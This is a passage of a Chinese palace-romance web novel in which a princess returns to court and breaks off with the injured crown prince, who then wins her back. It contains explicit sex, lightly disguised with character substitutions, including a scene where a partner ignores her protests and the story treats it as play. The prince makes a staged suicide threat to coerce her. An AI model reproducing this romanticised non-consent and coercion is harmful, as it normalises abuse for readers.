三天,暴雨整整下了三天,颜嘉柔也度过了整整三天疯狂而y乱的日子。 从前听闻的那些关于兰陵人兴玉以及能力方面的传闻,在萧彻身上,简直有过之而无不及。 百闻不如一见,她想她果真也见识到了。 案桌上、窗边、椅子上……到处都曾留下过他们换哎的痕迹。 颜嘉柔已经分不清是怪病的作用还是她原本就对萧彻抵抗不了,诚然萧彻总是变着法子地欺负她,但她也越来越习惯甚至沉迷其中,以至于当暴雨结束,他们一行人即将启程返京时,她恍惚觉得自己做了一场疯狂的椿梦。 虽说颜嘉柔已经越来越习惯萧彻那骇人的渔网和花样百出的折腾人的方式,但有一件,她至今仍无法接受。甚至萧彻若是提起,她都会崩溃大哭。 那日弄到一半,颜嘉柔忽觉不好,推拒着他的兇唐道:“萧彻……等等,我……我想小解……” 萧彻川西着亲吻了她的鬓角,嘴上说着好,剩下却愈发……,任凭着她怎么苦闹都不廷夏,最后升升地把她漕袅了。 颜嘉柔呆呆地愣了好一会儿,像是不可置信,又无法接受似得,忽然大哭了起来。 萧彻足足哄了半盏茶的功夫,才将人给哄好。 好不容易停下不哭了,却仍是有些抽噎,萧彻轻轻拍着她的背,替她顺着气:“哭什么,又不是第一次袅在我身上了。” “你我第一次见的时候,那时候你还是小婴儿,你便袅我身上了。” 颜嘉柔抬头梨花带雨地看着他,想说什么,可因为还生着他的气,到底没有搭腔,轻哼了一声,扭过了脸。 萧彻掐过她的下颌,将她的脸扳了过来,笑微微地道:“怎么,便不想问,我当时心里是怎么想的?” “自然是十分的嫌弃。” “只不过我当时长你几岁,已经懂事了,见你是个小婴儿,不与你计较罢了。” 颜嘉柔脸颊鼓起,瞪着他道:“你……你既十分嫌弃,为何今日还……” 他将下巴枕在她的肩上,轻笑了声道:“宝宝,这怎么能一样,儿时自然嫌弃,可如今你已经长大了,又被我上熟了,难免要玩儿些新的花样,在床笫之间,这便算是情趣了。” 颜嘉柔似懂非懂地“噢”了一声,但还是有点儿不开心,便闷闷地道:“是么,可是这回的这个,一点儿都不好玩儿。” “我的错,”萧彻抬手替她拭去 眼尾的泪痕,哑声道:“那我们换一个好玩儿的好不好?” 说着便附耳过去同她低声耳语。 颜嘉柔的耳垂随着他的低语以肉眼可见的速度充血变红。 “宝宝,”萧彻问她:“行不行啊。” 颜嘉柔扭捏了半晌,到底还是红着脸点了点头。 萧彻弯起唇角,大手扣住她的后脑勺,低头重重地吻了下去,很快又开始了新一轮的征伐。 90-100 第91章 第91章“是萧彻勾引你的,是不…… 三日后,大雨初歇,萧彻一行人终于踏上了回京的路程。 颜嘉柔甫一回宫,便听说萧珏出事了。 在校场上练习骑射时,不防马儿忽然发狂,将其从马背上摔下,因其躲避不急,被马蹄重重踩下。 听说伤势极为严重,当时一地鲜血,等被抬入东宫后,随侍太监连忙去传唤太医,众位太医救治了整整一日,性命倒是无碍了,只是不知为何,出来时一个个皆是面露愁容,长吁短叹。 更是有人听见太子怒摔杯盏,斥责太医无用,叫他们滚。 这之后太子更是动辄摔杯掷碗,性情大变。 东宫上下可谓是一片愁云惨淡,人人自危。 一时宫中流言四起,说是有人当时亲眼目睹马蹄朝着太子的裆部重重踩下,太子的伤,多半是伤了根本了。 颜嘉柔越听越觉得心惊,原本不知道在与萧彻有过肌肤之亲后,该怎么再面对萧珏,可眼下出于对他的担忧,便也什么都顾不得了,当下便前往东宫。 —— 颜嘉柔甫一踏入东宫,药味便混着酒气扑面而来。 幔帐深处的人影动了动,白玉酒壶骨碌碌地滚到颜嘉柔的脚边。 颜嘉柔怔了一下,低头看了一眼停在脚边的酒壶,蹙眉讷讷地道:“太子哥哥……” 幔帐里的人身子一顿,连忙撩开帘子,在看到颜嘉柔的那一刻,瞬间大喜过望,眼神都亮了:“嘉柔!” 颜嘉柔见状连忙快步走了过去,在他身边坐下:“太子哥哥,我回来了,我一回来,便听说你受伤了……” 萧珏眼眶湿润,颤抖着手抚上她的脸颊,久久地凝视着眼前这张让他朝思暮想的娇美面容,忽然低头狠狠抱住了她,力道之大,仿佛要将她揉入身体中,永不分离:“嘉柔,你终于回来了,你知不知道,我有多想你?” 颜嘉柔犹豫着也回抱住了他:“太子哥哥,我也很想你……” 萧珏喜极而泣:“你回来,你回来就好了……我就知道,你肯定会回到我身边的……”却又像是忽然想到了什么,身子一顿,充满喜悦的语调诡异地中断,他慢慢地从与颜嘉柔重逢地喜悦中抽离出来。 他扣着她的肩头,将她一点点扳离开来。 落日时分,残阳似血,顺着雕花窗棂的缝隙爬进来,在萧珏白色的寝衣上烙下暗红色的纹路。 他半张脸笼在阴影中,眸底神色晦暗不清,只问:“嘉柔,这段时间,你去哪儿了?” “我……”颜嘉柔低头拨弄着手指:“皇祖母没跟你说么,我出宫去散心了……” “出宫散心?”萧珏冷笑了一声:“偏是那么凑巧,萧彻一离宫,你就也要跟着出宫散心?” “我……”颜嘉柔支支吾吾道:“我只是……” 她一时心绪极乱,原本她便没有准备好如何面对萧珏,只是听到他受伤的消息后匆匆赶来,如今面对萧珏的质问,她实在不知如何开口。 可转念一想,她都已经答应萧彻了,迟早要和萧珏说清楚,若是再这般犹犹豫豫下去,她只会同时伤害他们两个。 思及此,她闭了闭眼,抬头对上萧珏的目光,攥紧了手心。 指甲一点点陷入掌心,尖锐的疼痛像是某种信号,迫使她快速做出决断,毕竟长痛不如短痛,她迟早要面对这个局面:“太子哥哥,我有一件事想要告诉你。” 萧珏像是有所感应一般,抬头无措慌乱地看着她,一时只觉喉头干涩得厉害,搭在桌沿上的手轻轻蜷缩了一下,他听见自己的声音毫无生气的响起,就像冬日凋零飘落的枯叶:“你说。” 她道:“这段时间……我确实和萧彻在一起,我也不想再狡辩什么,我……我和他……已经分不开了。” 仿佛久悬于头顶之上的那把利剑终于落下,萧珏有一瞬间的空茫。 哪怕他早就预料到迟早会有这么一天,然而当这一天终于来临时,他还是被打得措手不及。 心腑处仿佛扎入了一把尖锐带刺的匕首,不断翻搅,勾带出一片血淋淋的碎肉,不啻于凌迟。 他死死地盯着她,目光一寸寸碎裂:“那我呢?我算什么?” 他脸上血色尽褪,颤着声,近乎哀求地道:“嘉柔,你不喜欢我了吗?” “我……我当然喜欢你,只是我对你的喜欢,只是兄妹之情……” 萧珏的面容霎时变得扭曲,戾气陡然间浮了上来:“所以于萧彻,便是男女之情了?” 颜嘉柔硬着头皮点了点头:“是,我答应过他,我会和他成婚,太子哥哥,对不起,我知道这些话或许对你很残忍,我也不想伤害你,可我总要做出选择,再拖下去,只会让我们所有人都变得痛苦……眼下的情形,我们也迟早都要面对……” 只是眼下萧珏什么都听不进去,他不知道该做些什么,才能让她回心转意,他从来没有这么绝望的时刻,只能扣着她的肩膀,一遍遍地问她:“为什么?你为什么要这么对我,是我哪里做得不够好么?” “没有,太子哥哥,你没有哪里不好,是我没那么好,我……我答应萧彻了,所以太子哥哥,对不起……” “你说你答应过他,要与他成婚,可难道你就没有答应过我吗?!嘉柔,你忘了你之前是怎么对我说的?你说你只喜欢我一个,你说你日后一定会嫁给我,这些你难道都忘了吗?你只记得对萧彻的诺言,可还记得与我的约定?!” “那些海誓山盟,难道你都忘了吗?人贵在守信,你先答应的是我,如今又怎么可以背弃当初与我的誓言,转而与旁人一处? “难道你忘了儿时你父亲的教诲?人要从一而终,绝不能三心二意,否则必会遭到报应。嘉柔,我知道你不是这样水性杨花的人,你不会这么对我的,对吗?” “对不起,太子哥哥,我便是这样一个不好的人……”她慢慢垂下了脑袋,眼圈泛红,轻轻颤动了眼睫,听得出声音带了哭腔,显然是被他这一番话给说哭了,可尽管如此,却还是口风不改: “你说我水性杨花也好,见异思迁也罢,我……我也都认了……是我从前不懂事,轻易便对你说出了那样的话……总之确然是我辜负了你,你若是怨我恨我,那也都是我该受的,可若是叫我离开萧彻,对不起,太子哥哥,我做不到,我答应过他,要与他成婚的,我绝不能负他。” 萧珏闻言,身形颓然地往后靠,他极短促地笑了声,不可置信地看着她,意识到这次好像真的不一样了。 兰陵人天生擅诱,最能蛊惑人心,颜嘉柔早就被萧彻给迷惑了,甚至比她自己以为的还要早。当局者迷旁观者清,他一直都知道。 只是他太了解颜嘉柔了,她自小便不算聪慧,落水之后,便更笨了些,否则也不会一直认错自己的救命恩人,被他哄骗着以身相许。 且她是个面皮极薄的人,虽是个女孩,但因着有公主的头衔,也和皇子们一道上过课,从小被灌输的便是君子之道,所受到的规训也是“恪守诺言、从一而终,”一旦觉得自己的言行有违规训,便会受到拷问,无地自容。 萧珏正是因为知道这点,所以每当他察觉到颜嘉柔的心意有所动摇时,他便会搬出这些道理规训她,迫使她重回“正途。” 只要颜嘉柔还有点羞耻心,还要点脸面,不肯承认自己变心,不肯扣上“见异思迁、三心二意”的罪名,她就永远都没有勇气离开他,选择萧彻。 可他从未想过,爱意疯长,这个法子也会有失效的一天。 他有那么一瞬间喉头紧涩,呼吸困难。 巨大的绝望笼罩了他。 颜嘉柔的一颗心已经离他越来越远了,可他却不知道该怎么再次留住她。 偷来的爱意,难道终将失去么? 父亲不喜,母亲也不过是利用他巩固自己的地位,虽有太子之尊,可资质平平,不得圣心,每一天都活在“被废”的恐惧中,战战兢兢,从不敢行差踏错。 于是性子越发地扭曲、阴暗。 颜嘉 柔曾是他灰暗的人生中唯一的救赎。 这些年他小心翼翼、如履薄冰地守护着这一点点可怜的光亮,虽然从一开始就是偷来的,可他拥有了这么多年,早就把她视为所有物了,他决不允许任何人把她从他身边抢走! 何况萧彻甚至都没有挟恩以报,凭什么,他凭什么能让颜嘉柔心甘情愿地嫁给他? 那他呢,他算什么?他处心积虑地冒领救命之恩,一个人见不得光地守护着这个秘密这么多年,又算什么?难道他从始至终,都只不过是萧彻和颜嘉柔情爱途中的一块绊脚石吗?促使他们好事多磨?如今他们互通心意,他便再也没了用处,合该被人一脚踢开? 而萧彻,他甚至什么都没有做,连那个他患得患失隐瞒多年的秘密,他都不屑于告诉颜嘉柔,就轻而易举地得到了颜嘉柔的爱,他凭什么! 不,他怎么甘心?他绝不甘心! 第92章 第92章“你的守宫砂呢?!”…… 他哀哀地看着她,用一种近乎卑微、甚至带了一丝恳求的语气问她道:“是萧彻勾引你的,是不是?兰陵人最擅蛊惑,一定是他勾引你的,是不是?你只是被他暂时迷惑了……”他低下头,又哭又笑,自言自语地道:“对,一定是这样……等你清醒了,你还是会回到我身边的……” 他多么希望颜嘉柔肯回答他一个“是,”哪怕只有这么短短的一个字,可是没有,她连这样一个字都不肯给他,她只是近乎残忍地道:“他的确勾引了我……可我,只怕一辈子都清醒不了了。太子哥哥,我们回不去了,我已经,离不开他了。” 萧珏闻言猛地抬起了头,双目赤红,只是死死地盯着她:“离不开他了,是什么意思?他既没一条链子将你锁在身边,你怎么就离不开他了?” 他说着像是想到了什么,抬手猛地掐过她的下颌,迫使她抬起头来。 少女娇美莹润的一张脸完整地显露在眼前,乍一看依旧是一团稚气,可仔细分辨,眉梢眼角却分明多了几分成熟的韵味。 那是妇人才会有的风情。 萧珏目光一寸寸地审视着她,忽然想到了什么,目眦欲裂,猛地拽起她的手臂,近乎粗鲁地卷起她的衣袖。 颜嘉柔不明所以,也跟着他低头望去。 只见皓腕赛雪,她的手臂白皙无暇,什么都没有。 她蹙眉道:“太子哥哥,你在看什么,明明什么也没有啊……” 萧珏闻言,却像是受了某种刺激一般,猛地抬头看向她,她从未在他脸上见过那般狠戾的神情:“明明什么也没有……呵,好个明明什么也没有……你手臂上的守宫砂呢,为什么没有了?!” 颜嘉柔脑袋轰的一声,直到这时才反应过来萧珏察看她手臂的意图,她觉得难堪极了,心中不舒服,下意识地想要抽回手,却被萧珏按着死死不放。 她挣脱不得,雪白娇嫩的手臂上很快浮现了几道红痕。 颜嘉柔紧蹙眉心:“太子哥哥,你弄痛我了!” “痛?原来你也会痛吗?”他愈发用力地扼紧她的手腕,将人一把拽至眼前,近乎失态地用手指戳着自己的左胸口,一字一句,椎心泣血:“你和萧彻风流快活的时候,可曾想过我这里也会很痛?!” 颜嘉柔哭着道:“太子哥哥,你别这样……” 她真的吓坏了,她和萧珏在一起那么多年,几时见过他这样狠戾可怖的样子。 “那你说,你为什么要这么对我?是不是他勾引的你?!兰陵人便是如此下作,一副勾栏做派,身为男子,又是当朝皇子,居然勾引自己的未来嫂子,如此行径,连最下等的娼妓都不如!” 颜嘉柔哭着摇头:“太子哥哥,你别……别这样说他,我不许你这样说他……是我的病情进展了,必须和他……和他那样,他是在帮我……” 萧珏闻言一愣,眼神随之亮了一瞬,像是在不见天日的绝境之中终于抓到了一丝微弱的光亮,他迫不及待地想向她求证:“你是不得已的,对不对?你是因为怪病缠身,所以才不得不跟他……是不是?嘉柔,是不是?只要你说是,我……” “不是,”颜嘉柔低着头,细如蚊呐地道:“太子哥哥,我是自愿的。其实我或许一直……一直喜欢他,只不过从前碍于种种原因,始终压抑着自己,前段时间朝夕相处,我便知道我骗不了自己了,我想跟着我自己的心走……” “对不起,太子哥哥,我知道我不是一个好女人,我很坏,我配不上你,你贵为太子,值得更好、更尊贵的女子与你相配……” “配不配,不是你说了算。”萧珏冷笑一声:“怎么,难道我是今天才当的太子吗?这些话,怎么你从前不说,非要等到移情别恋了才说配不上我?” “我……” “怎么了?无话可说了?”他极为惨淡地笑了一声,伸手抚上她的面颊,眼底是浓重的哀伤:“嘉柔,我们究竟是怎么走到这一步的?事到如今,你连骗我都不愿了吗?” “太子哥哥,我知道这或许对你很残忍,可是……可是我也是为你好,如果我再勉强留在你的身边,这对你也是不公平的……” “为我好?你始乱终弃,居然说是为了我好?!”萧珏忽然吃吃笑了起来,猛地伸手将她推倒在地:“变心就是变心,扯什么冠冕堂皇的借口,颜嘉柔,在我面前,你大可不必这么假惺惺!” 颜嘉柔掌心撑在地砖上,只是一味地哭:“我知道都是我的错……太子哥哥,你别这样好不好……我不敢奢求你的原谅,我只是希望,你能够别为我的事伤心难过……我不知道该做些什么,才能让你好受些……” “你不知道做些什么?”萧珏一瞬不瞬地看着她,片刻之后,平静地道:“很简单,我教你。只要你肯和萧彻一刀两断,重新回到我的身边,我可以当做一切都没发生过,守宫砂之事,我可以不计较,贞洁那种鬼东西,其实我也并不是那么在意,我们之间,还是可以像以前那样……” 话说到后面,已经染上近乎哀求的语气:“嘉柔,好不好?” 然而颜嘉柔泪眼盈盈地望着他,终究还是摇了摇头:“对不起,太子哥哥……我不能……” 萧珏深深地一闭眼,搭在床沿上的双手狠狠地握紧了拳,一呼一吸之间,都在往外散发着戾气。 记忆中的那个整日跟在他身后、娇滴滴地叫着“太子哥哥”,与他许着海誓山盟的小姑娘,她的面容已经越来越模糊了。 模糊到他已经有些看不清她了。 他从来不知道她可以这么狠。 就为了那个萧彻! 他究竟有什么好! 色相皆是虚妄,兰陵人可是最下贱的! 窗外斜阳投来血红的光,在他白色寝衣上割裂出一道道细碎血痕。 他的眉眼压着血色,周身戾气浮动,面容扭曲地看向颜嘉柔,忽然像是想到了什么,指着她道:“你这么离不开萧彻,不就是因为他床上功夫了得吗!呵,兰陵人也就这点不入流的本事了,不然怎么会是面首的首选呢!” “怎么,是不是被我说了,本就是如此!不然你怎么跟他睡上一次,就非他不可了?!” “哦,不对,怎么可能只有一次……你离宫这么多天,谁也不知道发生了什么,跟自己的三哥无媒苟合,颜嘉柔,你的礼义廉耻呢!” 颜嘉柔耳朵嗡嗡作响,面色惨白,紧紧攥着手心,身子不住地颤抖,像是秋日里在寒风中摇曳的落叶,压抑着嗓音道:“萧珏,你别说了!” 她越是如此,萧珏便越是要刺她,只恨不得让她也尝尝他所经历的十分痛楚:“怎么,你都能做得出这种事,我还说不得了?” “你一回宫就来看望我,必是听到那些风言风语了吧,我坠马重伤,伤了根本,恐无法人 道,你听到这个消息,便迫不及待地舍我而去了,是不是?” “加上又和萧彻有了苟且,尝过兰陵人的滋味,自然看不上魏人了,何况我还受了伤……颜嘉柔,你便这么离不得男人吗?我们这么多年的情谊,难道还抵不过和他的那几晚?” 颜嘉柔实在无力分辨,她觉得疲倦到了极点,只能勉强劝慰道:“太子殿下,请您不要再说这些疯话了,至于外面那些流言,我知道并不可信,我也从来没有当真……” “流言?”萧珏盯着她,语调忽然诡异地上扬,形容疯癫地道:“那不是流言,他们说的都是真的,我确实是被马蹄踩中了要害,伤了根本,便是为了这个,我快要什么都没有了……” “历朝历代,没有哪一个储君,是由一个废人当的……” “你说以后会有尊贵的女子与我相配,可是那些望姓的世家女,又怎么能忍受自己的夫君是个废人!” “嘉柔,你与我自幼长大、青梅竹马,那么多年的情分,连你都要舍弃我,更何况她们!” “不是的太子哥哥,不是这样的……”颜嘉柔从震惊中回过神来,望着萧珏苍白憔悴的面容,不由得涌上几分心疼:“怎么会这样呢……”她一直以为传闻做不得真,可如今看萧珏这副样子,难道他真的伤得很重? 父皇本就不喜他,若他真的伤了根本,岂不是会对他更加厌弃? 这样的境况,若无崔氏女与之联姻,寻得强有力的靠山,储君之位或许真的不保。 可话又说回来,如今他有这样的传闻在身,顶级门阀的贵女又怎么可能嫁给他? 一旦他被废黜,绝不仅仅是无缘皇位那么简单。 皇子有三位,储君之位的人选却只有两个,不是他便是萧衍。 萧衍虽与萧珏一母同胞,可两人势同水火,一旦萧衍上位,萧珏只怕很难善终。 两位都是他的哥哥,她不想任何一个人受到伤害。 而如果是萧珏登位,以他温润谦和的性子,萧衍和萧彻的下场都不会太坏的。 所以储君之位只能是萧珏的,她私心也更希望如此,因为她已经选择了萧彻,倘若萧珏再失去储君之位,那他真的就一无所有了。—————————————————————————————————————————————————————————— 第93章 第93章“萧彻,我没办法和你立…… 再回过神时,却见萧珏不知什么时候已经打碎了搁置在床边的药碗,飞溅的碎瓷划破她的裙角。 她连忙抬头,只见萧珏弯腰捡起了一片碎瓷,苦笑了一声,而后面色悲凉地抵在颈侧,深深地一闭眼:“母后薨逝,父皇不喜,如今又成了废人,东宫之位岌岌可危,连最爱的女人都要弃孤而去,这世间,竟再无什么值得孤留恋,既如此,不如一死来得痛快……” 说完手腕稍稍用力,苍白的脖颈上立刻映出淡淡血痕,这一幕吓得颜嘉柔几乎魂飞魄散,她万万没想到因为自己的到来,说了那样一番话后,竟彻底断送了萧珏的求生意志。 若萧珏因她的变心而出了什么事,她万死难辞,这一生都会活在内疚的阴影中的。 这般想着,她连忙起身扑了过去,拼尽全力从萧珏手中夺得了那枚碎瓷。 直到将那枚碎瓷狠狠摔在地上,眼见着它四分五裂,飞溅开去,再寻不见踪影后,她才算松了一口气。 她扭头看向萧珏,双眼泛红,眸中泪光闪烁,因为情绪太过激动,胸口不住地上下起伏:“你疯了吗萧珏,你知不知道你在干什么!” 萧珏颓然地靠向了床栏,苦笑了声道:“我在干什么?嘉柔,你说我在干什么?我已经一无所有了,又何必苟活于人世,倒不如一死来得痛快,也好过苟延残喘惹人厌弃……” “你怎么能这么想,太子哥哥,你别这么想……”小姑娘双手紧紧握住他的,一脸恳切地道:“没有人会厌弃你,只要你不厌弃你自己,你不要自暴自弃,一切都会慢慢好起来的。性命只有一次,何其珍贵,你怎么能这么作践自己呢?先皇后在天之灵,若看到你如此,也不会放心的。” 萧珏眼尾抽动了一下,慢慢抬起了头,一双灰败的眼睛再度有了神采:他反握住颜嘉柔的手,喉结滚动:“嘉柔,你还是关心我的,是吗?” 颜嘉柔轻轻蹙眉:“太子哥哥……” 萧珏看着她,又慢慢松开了手,自嘲笑道:“看来也并非如此,是么?” “真的没有人会厌弃我么?你心爱的萧彻呢?只怕他恨不得我立时去死吧,我活在这世上,恐只会碍他的眼。” 颜嘉柔急急地替他分辨道:“不会的,萧彻他不是这样的人……” “呵,你倒维护他,可惜我却见不得你们在我面前卿卿我我,与其到时候生生怄死,不如现在就一死落个干净。” 颜嘉柔闻言鼻子又是一酸:“太子哥哥,你别说这样的话,我求你了……” 萧珏看了她一眼,眸光微动:“嘉柔,你真的想我活下去么?” 颜嘉柔一愣:“当然!” “可一个人若是想活下去,就得有支撑他活下去的理由。” 萧珏殷殷地看向她:“嘉柔,你说我有什么理由呢?” 颜嘉柔茫然道:“太子哥哥……” 萧珏再次握上了她的手,声音沙哑,近乎急切地道:“嘉柔,你想要我活下去,总要给我一个理由。我如今一无所有了,倘若你不能给我一个理由,我真的不知道还有什么活下去的必要。嘉柔,我求你,给我一个理由……我求你了……” 手背上忽然落下一滴热泪,灼得她微微蜷缩了手掌。 她有些怔然地抬头看去,见萧珏不知何时,竟已落泪。 她从未见过萧珏如今日这般失态。 耳边是萧珏一声声绝望的哀求,脑海中却又浮现萧彻那张俊美嚣张的脸,情到浓时,他大汗淋漓地伏靠在她身上,也不忘叮嘱她:“颜颜,你可千万别负了我……” 她一时心绪极乱。 萧珏见她已有所动摇,便更是哀哀地求她,倒也不全是做戏,他接连遭受了一连串的打击,本就心如死灰,全无求生意志,见颜嘉柔吃这一套,便索性将这一出苦肉计演到了底,心一横,竟下床扑通一声朝她跪了下来:“嘉柔,你既可怜我,不让我死,便给我一个活下去的理由……” 他目光灼灼地望向她:“我如今一无所有,你说,我还有什么理由活下去?” 这一地的碎瓷,他竟这般直挺挺地跪下去,霎时间,鲜血沿着地砖的纹路蔓延开来,实在触目惊心。 颜嘉柔惊呼一声,到底是被迫着说出了违心之言:“太子哥哥,你别这样……我……我给你理由,你并不是一无所有,你……你还有我……我不与萧彻成婚了……我陪着你……” 终于听到了想要的答案,萧珏大喜过望,猛地从地上站起,将人一把揽入怀中,几乎是喜极而泣地道:“嘉柔,我就知道,我就知道你对我不会这么狠,你心中还 是有我的……” 他紧紧地抱着她,下颌抵在她的肩上,贪婪地嗅闻着她颈侧的气息。 他目视着前方,目光落在虚空中的一点,不知想起了什么,眼中忽然流露出奇异的光彩:“小嘉柔,你放心,我虽然伤了根本,宫中的那帮太医也全都束手无策,但是我近来得到一个秘方,可令我那里重焕第二春,届时长得会比原来的更好,不会比萧彻差的……” “说起来,倒也是因祸得福了,”他微微将她扳离开来,伸手抚上她的脸颊,目光痴迷地看着她,哑声道:“嘉柔,我会让你快活的……” 颜嘉柔微微皱眉,并不搭腔。 两人这会离得极近,颜嘉柔注意到萧珏虽然面容憔悴不堪,像是多日不整理仪容,可奇怪的是,嘴唇周围那一圈,皮肤发白,竟没有一点胡茬,她心中顿时涌上一种莫名的怪异,扭过脸去,随口敷衍道:“太子哥哥,我相信你会好起来的……” ……… 颜嘉柔从东宫出来的那一刻,方觉喘过了气。 东宫里的气氛实在太过压抑,要不是担心萧珏会出事,她简直一刻都不想多待。 已是近日暑气渐退,天气转凉,日色温润了许多,落在身上也只觉和煦。 颜嘉柔在日光下站立了片刻,东宫墙垣外,几株木樨已然绽放,微风拂过,空中暗香浮动。 她忽然想起一事,低头检查了一遍身上,看到之前萧彻送给她的那个香囊仍完好地佩戴在身上,这才放心地继续往前走。 ——方才在东宫劝萧珏打消自裁的念头后,他又拉着她说了许多话,她只觉度日如年,后面他无意间发现她腰上佩戴的这个香囊,问了一句,她险些说漏了嘴,说道这是萧彻送给她的,里面装了兰陵人的命…… 好在“门”字尚未说出口,她便察觉到萧珏神色有异,猛地反应过来,立刻住了嘴,随便扯了些话糊弄过去了。 后来苏全给他们两个奉茶,他平时做事十分细致,今日不知道为什么,有些毛手毛脚,竟将茶水泼到了她身上。 这就不得不迫使她去换衣服,她从前隔三差五便要来东宫找萧珏,因此东宫也一直备有她的衣饰。 要更衣便须得解下锦囊,这原也没什么,只是她换好衣服之后却发现锦囊不见了,她大惊失色,刚要出去找,苏全却笑着将锦囊送了回来,说是方才她不小心掉落在地上了,幸得他眼尖,这才不至于遗失。 她连忙接过,打开一看,见里面的字条尚在,这才松了一口气,打发苏全下去了。 因有着这一段插曲,她出了东宫后才不放心地又检查了一遍,见香囊尚在,这才放心。 终归这个是要紧的东西,事关萧彻的性命,马虎不得,而她一向不够细致,若是随身携带,不知道什么时候便弄丢了,还是得小心藏起来才是。 其实她原先便是这样打算的,只不过一回宫便听闻萧珏出事了,急急忙忙地赶去东宫,这才将那枚香囊也一同带了过去。 等回去后,一定要将那枚香囊妥善珍藏才是。 —— 回到承欢殿后,映雪见到她立刻迎了上来,似乎有话想跟她说,她这会儿心力交瘁,却是摆了摆手,让她先退下了。 她一个人回到寝殿,才刚关上门,身后就撞上一个温熱坚硬的胸膛,男人灼热的气息倾吐在她耳侧,哑声道:“宝宝,去哪儿了?” 颜嘉柔身子一顿,熟悉的气息环绕上来,那段时间没日没夜地厮混,他已是她在这世上最亲密之人,他的气息、温度、心跳,她都熟悉至极,仿佛已刻入她的骨髓。 她当然知道身后的人是谁,只是想到她刚才去了哪里,见了谁,做了什么,又说了什么,便莫名有一种心虚:“萧彻,我……” 萧彻一无所察,笑着将她的身子扳了过来:“嗯?是不是去跟父皇求旨,让他为我们赐婚了?” 手背轻轻摩挲过她的脸颊,萧彻挑眉,唇角噙着一丝戏谑的笑意:“宝宝就这么急着嫁给我啊。” 若换做平时,萧彻这般与她调情,她必然要羞恼地与他打闹,之后便少不了一番卿卿我我,可今日她实在没什么心情,只低了头,淡淡地道:“萧彻,我没有去找父皇给我们赐婚。” 萧彻神情一滞,脸上的笑意渐渐消散了:“怎么了?怎么瞧着恹恹的?是不是身体不舒服?” 颜嘉柔摇了摇头。 “那是出了什么事了?”他重新笑了起来,语调散漫:“没去找父皇请旨赐婚,是皇妹害羞了,不好意思去找他?” 他掐了掐她的脸颊:“没事的小兔,我原也不打算让你去找父皇,你一个小姑娘,这种事,怎么能让你出面?这样,明天我亲自去找父皇,让他下旨给我们赐婚,我们越快成婚越好,好不好?” 颜嘉柔浓睫轻轻颤动了一下,垂在身侧的指尖微蜷,良久之后才低低地道:“不好。” 她道:“萧彻,我没办法和你立刻成婚了。” 这时天色已近昏暗,傍晚的风带了几分凉意,从窗隙间漏进,吹得桌案上的一本话本书页簌簌翻飞。 窗边两人的身影被斜阳拉得老长,一室寂静。 青年眸底的光渐渐黯了下去,冷意上浮,嗓音裹挟了寒意,宛如初雪时,屋檐下冰棱寸寸断裂的微响,明明是极轻的动静,却莫名让人心惊。 他盯着眼前的人,只一字一句地问:“你说什么?” 第94章 第94章“颜嘉柔,我这辈子,都…… 颜嘉柔见他这般反应,心中也闪过一丝慌乱,连忙胡乱地抓住他的胳膊,有些急切地道:“萧彻,这只是暂时的,你相信我,我会和你成婚,但不是现在,你等等我好么?” “是你说的,我们来日方长,又何必急于一时呢,对不对?你那么喜欢我,你会答应的,对吧?” 她越说越急切,紧紧地拽着他的手臂,仿佛他不答应,就不松开似得。 萧彻抬眼打量着她—— 只见她仰着一张莹白的小脸,正巴巴地看着他,一双黑白分明的眸子渐渐泛上水汽,眼尾晕开一点薄红,端的是楚楚可怜。 嗓音轻软,带着轻微的哭腔,拖长了尾调,仿佛撒娇。 就像从前任何一次一样,以为只要撒一下娇,他便什么都能答应她。 明明已经许下白首之约,答应了他一回宫便与他成婚,这样的诺言,不是儿戏,如果做不到,当初为什么要轻易答应? 为什么要给他希望,让他憧憬期待,却在他最沉溺的时候,又亲手毁去? 然后那样轻飘飘地问他:可以么? 就好像在问她,她不听他的话,多吃了一块糖,他会不会生气?可以原谅她么? 她好像永远意识不到她在做什么。 实在是,有一种天真的残忍。 萧彻久久地凝视着她,却是面无表情地将手臂从她的怀里抽离了出来,只问她:“既然没有去找父皇,方才那么长时间,你去了哪里?又见了谁?” “我……” “让我猜猜,能让你一回宫就迫不及待地想去见的人,不是你心心念念的太子哥哥,还能有谁呢?呵,我早该想到的……” 颜嘉柔面色一白,连忙道:“不是这样的,萧彻,你听我解释……” “解释?好啊,我听你解释,”他嗤笑一声:“解释你为什么一回宫就背弃了承诺!颜嘉柔,你还记得你之前是怎么答应我的吗?你口口声声说喜欢我,离不开我,怎么,难不成全是在床榻上哄骗我的鬼话,做不得数,一下了床就翻脸不认人了?” “还是我只是你离宫时的消遣,你如今回了宫,见到了你心心念念的太子哥哥,转头便将我抛到脑后了,是不是?!” “颜嘉柔,你究竟当我是什么?是用得还算称手的一味药,还是一件还算合心意的消遣?利用,根本就是彻头彻尾的利用,你究竟有没有一刻真心喜欢过我?没有,是不是?你喜欢的,从始至终都是萧珏,是不是?!” “不是,不是……”颜嘉柔哭着摇头道:“我怎么可能会不喜欢你,你都想象不到我有多喜欢你……” “萧闻祈,你先听我说好不好,是太子哥……不是,是萧珏他受了重伤,伤了根本,这种事对任何一个男子来说都是不小的打击,他意志消沉,几乎快活不下去了……” “倘若这个时候我再离开他,他真的会死的,我已经负了他,绝不能在这种关头落井下石,这样对他实在太残忍了……” 萧彻似乎也是才知道萧珏伤在哪里,闻言微微一怔,眸中闪过一丝异色,但很快便隐没下去,只余一声冷笑:“怎么,月余未见,他成阉人了?” 颜嘉柔闻言蹙眉,着急地反驳道:“萧彻,他怎么说也是你的兄长,你怎么能这么说他!” “怎么?我有说错吗?伤了根本不就是成了阉人?一说你心上人成了阉人便着急成这样,怎么,怕和他做不了夫妻啊?” “无妨,这宫中也不是没有阉人找了对食,这世上有千百种道理,也没有哪一条规定公主不可以当阉人的对食,清河公主,你说是吗?” “你……你……”颜嘉柔眸底含着水汽,不可置信地看着他,简直要被他的刻薄给气哭了。 萧彻和她好的时候,自然是这天底下最完美的情郎,俊美的容貌、迷人的身体、隐秘的过人之处,还有高超的调情手段,他最知道怎么哄她开心,对她千依百顺,为她摘星挽月,一遍遍地在她耳边说着动人情话。 但一旦和她吵架,便是如今这副做派,嘴巴极尽刻薄,那是半点都不饶人。 她嘴巴笨,从来说不过他,她也不想和他吵架。 这段时间她被他哄惯了,习惯听他对她说着甜言蜜语,亲她抱她爱她,可如今他却对她这副态度,她一时之间根本受不了这样的落差。 眼泪在眼眶里打转,她瘪了瘪嘴,强忍着不让眼泪掉下来,双手牵过他的一只手,紧紧地攥着他的掌心:“萧闻祈,你别这样好不好……你别这样……” 